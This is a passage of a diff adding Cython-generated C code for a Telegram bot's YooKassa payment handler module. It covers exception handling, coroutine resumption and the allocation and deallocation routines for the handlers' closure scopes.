__pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __pyx_lineno = __pyx_t_15; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; + goto __pyx_L11_except_error; + } + __pyx_L24:; + } + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + goto __pyx_L10_exception_handled; + } + goto __pyx_L11_except_error; + + /* "handlers/payments/yookassa_pay.py":248 + * ) + * + * try: # <<<<<<<<<<<<<< + * payment = Payment.create( + * { + */ + __pyx_L11_except_error:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L1_error; + __pyx_L10_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + __pyx_L14_try_end:; + } + + /* "handlers/payments/yookassa_pay.py":235 + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + goto __pyx_L4; + } + + /* "handlers/payments/yookassa_pay.py":302 + * await message.answer(" .") + * else: + * await message.answer(" . , :") # <<<<<<<<<<<<<< + */ + /*else*/ { + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 302, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u__24}; + __pyx_t_10 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 302, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_10); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 7; + return __pyx_r; + __pyx_L30_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 302, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 302, __pyx_L1_error) + } + } + } + __pyx_L4:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yookassa_pay.py":233 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_AddTraceback("process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_exists); + Py_CLEAR(p->__pyx_v_expected_hash); + Py_CLEAR(p->__pyx_v_i); + Py_CLEAR(p->__pyx_v_key_count); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_exists) { + e = (*v)(p->__pyx_v_exists, a); if (e) return e; + } + if (p->__pyx_v_i) { + e = (*v)(p->__pyx_v_i, a); if (e) return e; + } + if (p->__pyx_v_key_count) { + e = (*v)(p->__pyx_v_key_count, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct__process_callback_pay_yookassa", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yookassa_pay.""__pyx_scope_struct__process_callback_pay_yookassa", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_confirm_keyboard); + Py_CLEAR(p->__pyx_v_customer_email); + Py_CLEAR(p->__pyx_v_customer_id); + Py_CLEAR(p->__pyx_v_customer_name); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_payment); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_confirm_keyboard) { + e = (*v)(p->__pyx_v_confirm_keyboard, a); if (e) return e; + } + if (p->__pyx_v_customer_id) { + e = (*v)(p->__pyx_v_customer_id, a); if (e) return e; + } + if (p->__pyx_v_customer_name) { + e = (*v)(p->__pyx_v_customer_name, a); if (e) return e; + } + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_payment) { + e = (*v)(p->__pyx_v_payment, a); if (e) return e; + } + if (p->__pyx_v_payment_url) { + e = (*v)(p->__pyx_v_payment_url, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct_1_process_amount_selection", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yookassa_pay.""__pyx_scope_struct_1_process_amount_selection", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_event); + Py_CLEAR(p->__pyx_v_payment); + Py_CLEAR(p->__pyx_v_payment_id); + Py_CLEAR(p->__pyx_v_payment_object); + Py_CLEAR(p->__pyx_v_request); + Py_CLEAR(p->__pyx_v_user_id); + Py_CLEAR(p->__pyx_v_user_id_str); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)o; + if 